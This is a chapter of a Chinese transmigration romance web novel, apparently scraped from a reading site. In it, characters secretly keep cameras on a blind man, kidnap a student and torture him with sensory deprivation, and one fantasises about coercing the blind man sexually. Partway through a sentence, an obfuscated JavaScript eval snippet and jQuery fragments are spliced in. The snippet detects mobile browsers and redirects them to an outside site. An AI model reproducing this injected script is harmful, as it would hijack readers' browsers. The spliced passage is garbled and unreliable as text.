18.第 18 章
作品:《病弱老实人夫总被觊觎[快穿]》 这样的情况下,似乎很难坐怀不乱。
但可惜沈灿不喜欢趁人之危,而且毫无反应的阮时予,会让乐趣降低很多。
沈灿找了件睡衣给他穿上,又把他抱到了卫生间,找了个椅子放下,这才帮他刷牙洗脸。
好在阮时予这会儿又很乖,配合的洗漱,然后不知道是不是因为沈灿给他刷牙的力气有点大,他只感到唇齿间略微一阵刺痛,一时间倒是清醒了不少。
但他一动不敢动,现下的情况着实令他头大——他怎么好像只穿了睡衣和内裤,就被沈灿带来洗漱了?而且还是沈灿亲自帮他刷牙的!
朋友之间,竟然能做到这个地步吗?如此体贴入微,这真的是原文里那个狡猾的像狐狸的沈灿?
结果他慌里慌张的戳系统,想要求助的时候,系统却毫无反应,只有一句冷冰冰的提示:[当前处于□□模式,为保护宿主的隐私,系统将被屏蔽,直到画面重新恢复和谐。]
阮时予:???咋就18+模式了?
他不就是没穿裤子吗,这系统也太敏感肌了吧。人家沈灿都没说什么呢!他跟沈灿可是纯洁的朋友!
等洗漱完,沈灿帮他洗干净脸,他正等着自己被扶回床上去,却没想到沈灿竟然俯身下来,一把将他打横抱了起来。
阮时予人生头一次被公主抱,整个人都是懵的,身体腾空而起,靠在沈灿的怀里,迷茫的眨了眨眼,可惜什么都看不见,只能感受到沈灿结实有力的臂弯,这个怀抱让人很有安全感,勤于锻炼的胸膛也比想象中的更加紧实。
不松不紧刚好合适的拥抱力度,略显炽热的胸膛,一切都虚假的像一场幻梦,此刻却离他这么近。
很快他就重新被放回了床上,属于沈灿的那股温度骤然离开。沈灿转头去衣柜里拿枕头和被子。
沈灿之前只在房间门口看过一次,其余的都是监控视角,这还是第一次进入他的卧室里观察。
不算很大的主卧,进门处是卫生间,卧室里靠墙摆放着一张双人床,床尾空出来的一小片空间放着一个布质小衣柜。靠窗的位置开辟出来一小片阳台,摆放着桌柜椅子,放着一些阮时予平时用的生活用品。
可能是因为他是盲人吧,卧室里的所有的东西都归纳得特别整齐。
在监控里还看不出来这一点,但是到房间里仔细观察,就会发现,阮时予真的把房间归整得特别整齐有条理,平时肯定是用完的东西必须放回原位,不然下次恐怕就找不到在哪里了。
等沈灿拿出枕头和薄被重新走到床边时,注意到阮时予的姿势变了,他刚才只是略微侧着身子,这会儿却是完全侧身过去背对着他,还用手挡着脸。
沈灿把被子和枕头放在阮时予旁边,唇角略微上扬。
果然还是醒着的阮时予更有趣。他还记得那次他把阮时予吓得哭了,他就是这样用手试图挡着脸,一边委委屈屈的说“不要看我”。
沈灿爬上床,躺在阮时予旁边,盯着他的背影一直看,仿佛要把他的后背看穿似的。
阮时予能感受到身后的视线,明明沈灿什么也没做,只是幽幽的,静静的看着他,却无端让他觉得被狙击着,脊背发冷,浑身炸毛。
他都不敢想,现在他和沈灿的关系竟然变这么好了,那等沈灿发现他就是给他造谣的人,那该会怎样报复他……
沈灿暗暗的“啧”了一声,将他的反应收至眼底,无论是可爱的瑟缩,还是略显紧绷的脸颊。
正当他心痒难耐想做点什么的时候,手机又响了,沈灿蹙着眉把手机拿出来一看,是楚湛刚刚被他挂掉后又打来的电话。
沈灿轻声下床,拿着手机去了客厅阳台处,才接通电话,“刚刚在洗漱没接到,你有什么事吗?”
楚湛说:“沈灿,你安装在阮时予家里的监控其实只拆了一半,最后在阮时予的卧室和客厅留了两个,对吧?为什么不全部拆完,你不是答应过他的吗?”
沈灿很淡然自若的说:“你连这都知道了啊……不过,我之前只是说会拆监控,也没说会全部拆掉啊。”
沈灿:“毕竟,如果他逃跑就没意思了,我得盯着他呀。”
闻言,楚湛骤然怒道:“我就知道,你只是把他当个好玩的乐子!既然如此,又何必惺惺作态接近他?”
沈灿轻笑一声,说:“哦?你倒是好像比我更担心他。那你知道,孟晴跟她那个情夫,早就在设计他的保险了吗?”
“如果我不盯着点,不知道什么时候他就被害死了。”
楚湛的呼吸紧了紧,“……照你这么说,那岂不是他的失明也有可能跟他们有关?”
“不清楚。”沈灿说:“我会找人查的。”
楚湛沉默了几秒钟,突然好奇的说:“你之前不是说,不要随便插手别人的家务事吗,怎么你也突然这么闲了?发善心了?”
沈灿说:“公司给我休假了,的确很闲。反正就当是弥补一下他,顺便帮他解决点麻烦。”
“你…竟然休假了?”楚湛诧异道:“话说,陈寂然那边怎么也没个动静,他该不会以为这事就这么完了吧?就算宋知水是他表弟,犯了错也不可能当做无事发生啊。”
其实也不用他们俩催,陈寂然这会儿已经找上宋知水了。
之前陈寂然给宋知水打电话发信息,他都不理,所以陈寂然今天就找到他学校去了。
他带了几个保镖,在宋知水放学回家的路上埋伏,把他抓到路边的巷子里打了一顿。
然后陈寂然又把他抓回家里,打算亲自教到他认错为止。
此时此刻,阮时予这个真正的罪魁祸首,正忐忑不安的跟沈灿睡在一张床上的时候,就在隔壁,背锅侠宋知水被陈寂然五花大绑的带回了家。
宋知水被打了一顿还不服气,见到来人是陈寂然就更来气了,“喂,你神经病吧,我又哪里招惹你了,就因为没回你那莫名其妙的破信息,你至于找那么多人来抓我?”
陈寂然把宋知水绑在椅子上,自己则坐在他对面,冷冷的看着他,说:“你想错了,我并不是倡导暴力,如果不是你反抗得太厉害,也不至于被打成这样。你知道你差点把小王踢得半身不遂了吧?”
“嘁,”宋知水从喉咙里发出一声嗤笑,“自己没本事当保镖,还要怪我反击?”
宋知水毕竟是个皮糙肉厚的体育生,看着白白净净,其实很抗揍,即便被揍了一顿,其实也只是受了点皮外伤。
倒是去抓他的那几个保镖,比他伤的还重,众人合力才勉强制服了他,便连忙把他捆了起来。
陈寂然的表情没有丝毫波澜,语气平淡,但又略微带着点疑惑,仿佛只是在好奇的研究一个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15918534|176448||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
科学问题似的,“我很好奇,你什么时候变得这么愚蠢了,竟然蠢到在网络上造谣攻击我和我的朋友。”
“犯下大错,还不知悔改。如果小姨知道你做的事,你觉得她会包庇你吗?”
“等等,我……”宋知水突然卡了一下,他想起来最近网上闹得沸沸扬扬的舆论,关于沈灿、楚湛和陈寂然几人的绯色新闻,他之前还幸灾乐祸来着,没想到陈寂然竟然怀疑这件事是他干的?
绯色新闻里有提到沈灿公司的女员工,宋知水也不可避免的想到过孟晴……
陈寂然说:“怎么,难道你还要否认?敢做不敢当?”
“激将法啊?”宋知水不知想到了什么,慢慢垂下眼睑,低笑,胸膛随之起伏了几下。
心想:阮时予,看来你这次又得接受我的帮忙了。
如果是他背锅,他顶多在陈寂然这里吃点亏,但如果他们发现罪魁祸首是阮时予,那就不好说了,毕竟他只是一个毫无背景的普通人,谁知道陈寂然这些丧心病狂的疯子会为了报复他对他做些什么?
……就是有点憋屈,他跟陈寂然一向不对付,这次竟然在他手上落了这么大一个把柄。
宋知水“啧”了一声,舌头顶了顶牙根,一双漆黑的眼眸宛如充斥着野性的狼瞳,不像是低头,更像是挑衅,“那你想怎么办?”
陈寂然琢磨了一会儿,“先关几天禁闭吧。看在你年纪小,即将高考的份上,小惩大诫。”
陈寂然口中的关禁闭,自然不是仅仅把他关在家里几天这么简单,而是在保证基本营养供给的情况下,剥夺五感,再关禁闭。
宋知水只能被迫放空大脑,处于极端的黑暗和寂静之中,他咬着牙想,不愧是陈寂然的手段,够恶心,但凡是心智不太坚定的正常人,被这样折磨个几个小时都会受不了的,如果是放置几天,那恐怕会发疯。
在这样极端的漫长折磨之中,宋知水只能恶狠狠的想着,等他出去该怎么找陈寂然报复,又该怎么找阮时予算账,挟恩图报。
反正阮时予都松口了,说下次可以亲他。
真想吻遍他的全身……每一寸都不放过,即便只是亲吻,也得完完全全的掌控他,要用嘴吸着、嘬着,榨干所有香甜的水分。
不不不,光是亲吻还不够。
马上就是他的生日了,他得好好拆一个觊觎已久的礼物才行。
把阮时予骗到他家里,然后关进卧室,这样他就跑不掉了。再或者,如果阮时予不上当的话,他就以这个把柄威胁阮时予,去他家里找他。
要是孟晴在家里就更好了,他要把阮时予压在卧室的门上,让他一边听着外面孟晴的声音,一边又只能被他压着疯狂占有。
按照阮时予的那个性格,肯定不愿意被孟晴发现,到时候他肯定会自己可怜又乖巧的捂着嘴,不让孟晴发现他那些乱七八糟的呻.吟……
隔壁,卧室。
被沈灿圈在怀里、好不容易睡着的阮时予,莫名轻轻的打了个寒颤。
他本就被压的有点喘不过气,睡得不安稳,这会儿又陷入了噩梦,仿佛一只可怜的新鲜猎物,被身后毒蛇缠住的同时,又被前方的饿虎垂涎,两方都在强势的撕咬占有他。
不光身体,连同梦境和灵魂,也被恶鬼般的他们一寸寸入侵,被渴求,被强势的侵占。